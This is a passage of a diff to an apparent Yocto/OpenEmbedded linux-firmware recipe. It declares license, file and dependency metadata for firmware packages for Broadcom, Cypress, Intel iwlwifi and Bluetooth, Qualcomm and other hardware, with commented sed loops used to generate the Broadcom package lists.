+RDEPENDS:${PN}-xc4000 += "${PN}-xc4000-license"
+
+# For xc5000
+LICENSE:${PN}-xc5000 = "Firmware-xc5000"
+LICENSE:${PN}-xc5000-license = "Firmware-xc5000"
+
+FILES:${PN}-xc5000 = "${nonarch_base_libdir}/firmware/dvb-fe-xc5000-1.6.114.fw"
+FILES:${PN}-xc5000-license = "${nonarch_base_libdir}/firmware/LICENCE.xc5000"
+
+RDEPENDS:${PN}-xc5000 += "${PN}-xc5000-license"
+
+# For xc5000c
+LICENSE:${PN}-xc5000c = "Firmware-xc5000c"
+LICENSE:${PN}-xc5000c-license = "Firmware-xc5000c"
+
+FILES:${PN}-xc5000c = " \
+ ${nonarch_base_libdir}/firmware/dvb-fe-xc5000c-4.1.30.7.fw \
+"
+FILES:${PN}-xc5000c-license = "${nonarch_base_libdir}/firmware/LICENCE.xc5000c"
+
+RDEPENDS:${PN}-xc5000c += "${PN}-xc5000c-license"
+
+# For broadcom
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e " \${PN}-$pkg \\"; done | sort -u
+
+LICENSE:${PN}-broadcom-license = "Firmware-broadcom_bcm43xx"
+FILES:${PN}-broadcom-license = "${nonarch_base_libdir}/firmware/LICENCE.broadcom_bcm43xx"
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo "$i - $pkg"; echo -e "FILES:\${PN}-$pkg = \"\${nonarch_base_libdir}/firmware/brcm/$i\""; done | grep ^FILES
+
+FILES:${PN}-bcm43xx = "${nonarch_base_libdir}/firmware/brcm/bcm43xx-0.fw"
+FILES:${PN}-bcm43xx-hdr = "${nonarch_base_libdir}/firmware/brcm/bcm43xx_hdr-0.fw"
+FILES:${PN}-bcm4329-fullmac = "${nonarch_base_libdir}/firmware/brcm/bcm4329-fullmac-4.bin"
+FILES:${PN}-bcm43236b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43236b.bin"
+FILES:${PN}-bcm4329 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4329-sdio.bin"
+FILES:${PN}-bcm4330 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4330-sdio.*"
+FILES:${PN}-bcm4334 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4334-sdio.bin"
+FILES:${PN}-bcm4335 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4335-sdio.bin"
+FILES:${PN}-bcm4339 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4339-sdio.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4339-sdio.bin \
+"
+FILES:${PN}-bcm43241b0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b0-sdio.bin"
+FILES:${PN}-bcm43241b4 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b4-sdio.bin"
+FILES:${PN}-bcm43241b5 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43241b5-sdio.bin"
+FILES:${PN}-bcm43242a = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43242a.bin"
+FILES:${PN}-bcm43143 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43143.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac43143-sdio.bin \
+"
+FILES:${PN}-bcm43430a0 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430a0-sdio.*"
+FILES:${PN}-bcm43455 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43455-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43455-sdio.* \
+"
+FILES:${PN}-bcm4350c2 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350c2-pcie.bin"
+FILES:${PN}-bcm4350 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4350-pcie.bin"
+FILES:${PN}-bcm4356 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4356-sdio.* \
+"
+FILES:${PN}-bcm43569 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43569.bin"
+FILES:${PN}-bcm43570 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43570-pcie.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43570-pcie.bin \
+"
+FILES:${PN}-bcm4358 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4358-pcie.bin"
+FILES:${PN}-bcm43602 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac43602-pcie.ap.bin \
+"
+FILES:${PN}-bcm4366b = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366b-pcie.bin"
+FILES:${PN}-bcm4366c = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4366c-pcie.bin"
+FILES:${PN}-bcm4371 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4371-pcie.bin"
+
+# for i in `grep brcm WHENCE | grep ^File | sed 's/File: brcm.//g'`; do pkg=`echo $i | sed 's/-[sp40].*//g; s/\.bin//g; s/brcmfmac/bcm/g; s/_hdr/-hdr/g; s/BCM/bcm-0bb4-0306/g'`; echo -e "LICENSE:\${PN}-$pkg = \"Firmware-broadcom_bcm43xx\"\nRDEPENDS_\${PN}-$pkg += \"\${PN}-broadcom-license\""; done
+# Currently 1st one and last 6 have cypress LICENSE
+
+LICENSE:${PN}-bcm43xx = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43xx += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43xx-hdr = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43xx-hdr += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4329-fullmac = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4329-fullmac += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43236b = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43236b += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4329 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4329 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4330 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4330 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4334 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4334 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4335 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4335 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4339 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4339 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b0 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b0 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b4 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b4 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43241b5 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43241b5 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43242a = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43242a += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43143 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43143 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43430a0 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43430a0 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43455 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43455 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4350c2 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4350c2 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4350 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4350 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4356 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4356 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43569 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43569 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43570 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43570 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4358 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4358 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm43602 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm43602 += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4366b = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4366b += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4366c = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4366c += "${PN}-broadcom-license"
+LICENSE:${PN}-bcm4371 = "Firmware-broadcom_bcm43xx"
+RDEPENDS:${PN}-bcm4371 += "${PN}-broadcom-license"
+
+# For broadcom cypress
+
+LICENSE:${PN}-cypress-license = "Firmware-cypress"
+FILES:${PN}-cypress-license = "${nonarch_base_libdir}/firmware/LICENCE.cypress"
+
+FILES:${PN}-bcm-0bb4-0306 = "${nonarch_base_libdir}/firmware/brcm/BCM-0bb4-0306.hcd"
+FILES:${PN}-bcm43340 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43340-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43340-sdio.*"
+FILES:${PN}-bcm43362 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43362-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43362-sdio.*"
+FILES:${PN}-bcm43430 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac43430-sdio.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac43430-sdio.*"
+FILES:${PN}-bcm4354 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4354-sdio.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4354-sdio.bin \
+"
+FILES:${PN}-bcm4356-pcie = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4356-pcie.* \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4356-pcie.* \
+"
+FILES:${PN}-bcm4373 = "${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373.bin \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4373-sdio.bin \
+ ${nonarch_base_libdir}/firmware/brcm/brcmfmac4373-sdio.clm_blob \
+ ${nonarch_base_libdir}/firmware/cypress/cyfmac4373-sdio.clm_blob \
+"
+
+LICENSE:${PN}-bcm-0bb4-0306 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm-0bb4-0306 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43340 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43340 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43362 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43362 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm43430 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm43430 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4354 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4354 += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4356-pcie = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4356-pcie += "${PN}-cypress-license"
+LICENSE:${PN}-bcm4373 = "Firmware-cypress"
+RDEPENDS:${PN}-bcm4373 += "${PN}-cypress-license"
+
+# For Broadcom bnx2
+#
+# which is a separate case to the other Broadcom firmwares since its
+# license is contained in the shared WHENCE file.
+
+LICENSE:${PN}-bnx2 = "WHENCE"
+LICENSE:${PN}-whence-license = "WHENCE"
+
+FILES:${PN}-bnx2 = " \
+ ${nonarch_base_libdir}/firmware/bnx2/bnx2-mips*.fw \
+ ${nonarch_base_libdir}/firmware/bnx2/bnx2-rv2p*.fw \
+"
+FILES:${PN}-whence-license = "${nonarch_base_libdir}/firmware/WHENCE"
+
+RDEPENDS:${PN}-bnx2 += "${PN}-whence-license"
+RPROVIDES:${PN}-bnx2 = "${PN}-bnx2-mips"
+
+LICENSE:${PN}-bnx2x = "WHENCE"
+
+FILES:${PN}-bnx2x = "${nonarch_base_libdir}/firmware/bnx2x/bnx2x*.fw"
+
+RDEPENDS:${PN}-bnx2x += "${PN}-whence-license"
+
+# For cirrus
+LICENSE:${PN}-cirrus = "Firmware-cirrus"
+LICENSE:${PN}-cirrus-license = "Firmware-cirrus"
+
+FILES:${PN}-cirrus = "${nonarch_base_libdir}/firmware/cirrus/*"
+FILES:${PN}-cirrus-license = "${nonarch_base_libdir}/firmware/LICENSE.cirrus"
+
+RDEPENDS:${PN}-cirrus += "${PN}-cirrus-license"
+
+# For cnm
+LICENSE:${PN}-cnm = "Firmware-cnm"
+LICENSE:${PN}-cnm-license = "Firmware-cnm"
+
+FILES:${PN}-cnm = "${nonarch_base_libdir}/firmware/cnm/wave521c_k3_codec_fw.bin"
+FILES:${PN}-cnm-license = "${nonarch_base_libdir}/firmware/LICENCE.cnm"
+
+RDEPENDS:${PN}-cnm += "${PN}-cnm-license"
+
+# For imx-sdma
+LICENSE:${PN}-imx-sdma-imx6q = "Firmware-imx-sdma_firmware"
+LICENSE:${PN}-imx-sdma-imx7d = "Firmware-imx-sdma_firmware"
+LICENSE:${PN}-imx-sdma-license = "Firmware-imx-sdma_firmware"
+
+FILES:${PN}-imx-sdma-imx6q = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx6q.bin"
+
+RPROVIDES:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+RREPLACES:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+RCONFLICTS:${PN}-imx-sdma-imx6q = "firmware-imx-sdma-imx6q"
+
+FILES:${PN}-imx-sdma-imx7d = "${nonarch_base_libdir}/firmware/imx/sdma/sdma-imx7d.bin"
+
+FILES:${PN}-imx-sdma-license = "${nonarch_base_libdir}/firmware/LICENSE.sdma_firmware"
+
+RDEPENDS:${PN}-imx-sdma-imx6q += "${PN}-imx-sdma-license"
+RDEPENDS:${PN}-imx-sdma-imx7d += "${PN}-imx-sdma-license"
+
+# For iwlwifi
+LICENSE:${PN}-iwlwifi = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-135-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-7 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-8 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-9 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-10 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-12 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-13 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-16 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-3160-17 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000-4 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2a-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2a-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2b-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6000g2b-6 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6050-4 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-6050-5 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7260 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7265 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-7265d = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-8000c = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-8265 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-9000 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-9260 = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-misc = "Firmware-iwlwifi_firmware"
+LICENSE:${PN}-iwlwifi-license = "Firmware-iwlwifi_firmware"
+
+
+FILES:${PN}-iwlwifi-license = "${nonarch_base_libdir}/firmware/LICENCE.iwlwifi_firmware"
+FILES:${PN}-iwlwifi-135-6 = "${nonarch_base_libdir}/firmware/iwlwifi-135-6.ucode"
+FILES:${PN}-iwlwifi-3160-7 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-7.ucode"
+FILES:${PN}-iwlwifi-3160-8 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-8.ucode"
+FILES:${PN}-iwlwifi-3160-9 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-9.ucode"
+FILES:${PN}-iwlwifi-3160-10 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-10.ucode"
+FILES:${PN}-iwlwifi-3160-12 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-12.ucode"
+FILES:${PN}-iwlwifi-3160-13 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-13.ucode"
+FILES:${PN}-iwlwifi-3160-16 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-16.ucode"
+FILES:${PN}-iwlwifi-3160-17 = "${nonarch_base_libdir}/firmware/iwlwifi-3160-17.ucode"
+FILES:${PN}-iwlwifi-6000-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6000-4.ucode"
+FILES:${PN}-iwlwifi-6000g2a-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-5.ucode"
+FILES:${PN}-iwlwifi-6000g2a-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2a-6.ucode"
+FILES:${PN}-iwlwifi-6000g2b-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-5.ucode"
+FILES:${PN}-iwlwifi-6000g2b-6 = "${nonarch_base_libdir}/firmware/iwlwifi-6000g2b-6.ucode"
+FILES:${PN}-iwlwifi-6050-4 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-4.ucode"
+FILES:${PN}-iwlwifi-6050-5 = "${nonarch_base_libdir}/firmware/iwlwifi-6050-5.ucode"
+FILES:${PN}-iwlwifi-7260 = "${nonarch_base_libdir}/firmware/iwlwifi-7260-*.ucode"
+FILES:${PN}-iwlwifi-7265 = "${nonarch_base_libdir}/firmware/iwlwifi-7265-*.ucode"
+FILES:${PN}-iwlwifi-7265d = "${nonarch_base_libdir}/firmware/iwlwifi-7265D-*.ucode"
+FILES:${PN}-iwlwifi-8000c = "${nonarch_base_libdir}/firmware/iwlwifi-8000C-*.ucode"
+FILES:${PN}-iwlwifi-8265 = "${nonarch_base_libdir}/firmware/iwlwifi-8265-*.ucode"
+FILES:${PN}-iwlwifi-9000 = "${nonarch_base_libdir}/firmware/iwlwifi-9000-*.ucode"
+FILES:${PN}-iwlwifi-9260 = "${nonarch_base_libdir}/firmware/iwlwifi-9260-*.ucode"
+FILES:${PN}-iwlwifi-misc = " \
+ ${nonarch_base_libdir}/firmware/iwlwifi-*.ucode \
+ ${nonarch_base_libdir}/firmware/iwlwifi-*.pnvm \
+"
+
+RDEPENDS:${PN}-iwlwifi-135-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-7 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-8 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-9 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-10 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-12 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-13 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-16 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-3160-17 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000-4 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2a-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2a-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2b-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6000g2b-6 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6050-4 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-6050-5 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-7265d = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-8000c = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-8265 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-9000 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-9260 = "${PN}-iwlwifi-license"
+RDEPENDS:${PN}-iwlwifi-misc = "${PN}-iwlwifi-license"
+
+# -iwlwifi-misc is a "catch all" package that includes all the iwlwifi
+# firmwares that are not already included in other -iwlwifi- packages.
+# -iwlwifi is a virtual package that depends upon all iwlwifi packages.
+# These are distinct in order to allow the -misc firmwares to be installed
+# without pulling in every other iwlwifi package.
+ALLOW_EMPTY:${PN}-iwlwifi = "1"
+ALLOW_EMPTY:${PN}-iwlwifi-misc = "1"
+
+# Handle package updating for the newly merged iwlwifi groupings
+RPROVIDES:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+RREPLACES:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+RCONFLICTS:${PN}-iwlwifi-7265 = "${PN}-iwlwifi-7265-8 ${PN}-iwlwifi-7265-9"
+
+RPROVIDES:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+RREPLACES:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+RCONFLICTS:${PN}-iwlwifi-7260 = "${PN}-iwlwifi-7260-7 ${PN}-iwlwifi-7260-8 ${PN}-iwlwifi-7260-9"
+
+# For ibt
+LICENSE:${PN}-ibt-license = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-hw-37-7 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-hw-37-8 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-11-5 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-12-16 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-17 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-20 = "Firmware-ibt_firmware"
+LICENSE:${PN}-ibt-misc = "Firmware-ibt_firmware"
+
+FILES:${PN}-ibt-license = "${nonarch_base_libdir}/firmware/LICENCE.ibt_firmware"
+FILES:${PN}-ibt-hw-37-7 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.7*.bseq"
+FILES:${PN}-ibt-hw-37-8 = "${nonarch_base_libdir}/firmware/intel/ibt-hw-37.8*.bseq"
+FILES:${PN}-ibt-11-5 = "${nonarch_base_libdir}/firmware/intel/ibt-11-5.sfi ${nonarch_base_libdir}/firmware/intel/ibt-11-5.ddc"
+FILES:${PN}-ibt-12-16 = "${nonarch_base_libdir}/firmware/intel/ibt-12-16.sfi ${nonarch_base_libdir}/firmware/intel/ibt-12-16.ddc"
+FILES:${PN}-ibt-17 = "${nonarch_base_libdir}/firmware/intel/ibt-17-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-17-*.ddc"
+FILES:${PN}-ibt-20 = "${nonarch_base_libdir}/firmware/intel/ibt-20-*.sfi ${nonarch_base_libdir}/firmware/intel/ibt-20-*.ddc"
+FILES:${PN}-ibt-misc = "${nonarch_base_libdir}/firmware/intel/ibt-*"
+
+RDEPENDS:${PN}-ibt-hw-37-7 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-hw-37.8 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-11-5 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-12-16 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-17 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-20 = "${PN}-ibt-license"
+RDEPENDS:${PN}-ibt-misc = "${PN}-ibt-license"
+
+ALLOW_EMPTY:${PN}-ibt= "1"
+ALLOW_EMPTY:${PN}-ibt-misc = "1"
+
+LICENSE:${PN}-i915 = "Firmware-i915"
+LICENSE:${PN}-i915-license = "Firmware-i915"
+FILES:${PN}-i915-license = "${nonarch_base_libdir}/firmware/LICENSE.i915"
+FILES:${PN}-i915 = "${nonarch_base_libdir}/firmware/i915"
+RDEPENDS:${PN}-i915 = "${PN}-i915-license"
+
+# For ice-enhanced
+LICENSE:${PN}-ice-enhanced = "Firmware-ice_enhanced"
+LICENSE:${PN}-ice-enhanced-license = "Firmware-ice_enhanced"
+
+FILES:${PN}-ice-enhanced = " \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp-comms/* \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp-wireless_edge/* \
+"
+FILES:${PN}-ice-enhanced-license = " \
+ ${nonarch_base_libdir}/firmware/LICENSE.ice_enhanced \
+"
+RDEPENDS:${PN}-ice-enhanced = "${PN}-ice-enhanced-license"
+
+LICENSE:${PN}-ice = "Firmware-ice"
+LICENSE:${PN}-ice-license = "Firmware-ice"
+FILES:${PN}-ice-license = "${nonarch_base_libdir}/firmware/LICENSE.ice"
+FILES:${PN}-ice = " \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp/* \
+ ${nonarch_base_libdir}/firmware/intel/ice/ddp-lag/* \
+"
+RDEPENDS:${PN}-ice = "${PN}-ice-license"
+
+FILES:${PN}-adsp-sst-license = "${nonarch_base_libdir}/firmware/LICENCE.adsp_sst"
+LICENSE:${PN}-adsp-sst = "Firmware-adsp_sst"
+LICENSE:${PN}-adsp-sst-license = "Firmware-adsp_sst"
+FILES:${PN}-adsp-sst = "${nonarch_base_libdir}/firmware/intel/dsp_fw*"
+RDEPENDS:${PN}-adsp-sst = "${PN}-adsp-sst-license"
+
+# For QAT
+LICENSE:${PN}-qat = "Firmware-qat"
+LICENSE:${PN}-qat-license = "Firmware-qat"
+FILES:${PN}-qat-license = "${nonarch_base_libdir}/firmware/LICENCE.qat_firmware"
+FILES:${PN}-qat = "${nonarch_base_libdir}/firmware/qat*.bin"
+RDEPENDS:${PN}-qat = "${PN}-qat-license"
+
+LICENSE:${PN}-qed = "WHENCE"
+FILES:${PN}-qed = "${nonarch_base_libdir}/firmware/qed/*"
+
+# For QCOM VPU/GPU and SDM845
+LICENSE:${PN}-qcom-license = "Firmware-qcom"
+LICENSE:${PN}-qcom-yamato-license = "Firmware-qcom-yamato"
+LICENSE:${PN}-qcom-venus-1.8 = "Firmware-qcom"
+LICENSE:${PN}-qcom-venus-4.2 = "Firmware-qcom"
+LICENSE:${PN}-qcom-venus-5.2 = "Firmware-qcom"
+LICENSE:${PN}-qcom-venus-5.4 = "Firmware-qcom"
+LICENSE:${PN}-qcom-venus-6.0 = "Firmware-qcom"
+LICENSE:${PN}-qcom-vpu-1.0 = "Firmware-qcom"
+LICENSE:${PN}-qcom-vpu-2.0 = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a2xx = "Firmware-qcom Firmware-qcom-yamato"
+LICENSE:${PN}-qcom-adreno-a3xx = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a4xx = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a530 = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a630 = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a650 = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a660 = "Firmware-qcom"
+LICENSE:${PN}-qcom-adreno-a702 = "Firmware-qcom"
+LICENSE:${PN}-qcom-apq8016-modem = "Firmware-qcom"
+LICENSE:${PN}-qcom-apq8016-wifi = "Firmware-qcom"
+LICENSE:${PN}-qcom-apq8096-audio = "Firmware-qcom"
+LICENSE:${PN}-qcom-apq8096-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-apq8096-modem = "Firmware-qcom"
+LICENSE:${PN}-qcom-qcm2290-adreno = "Firmware-qcom"
+LICENSE:${PN}-qcom-qcm2290-audio = "Firmware-qcom"
+LICENSE:${PN}-qcom-qcm2290-modem = "Firmware-qcom"
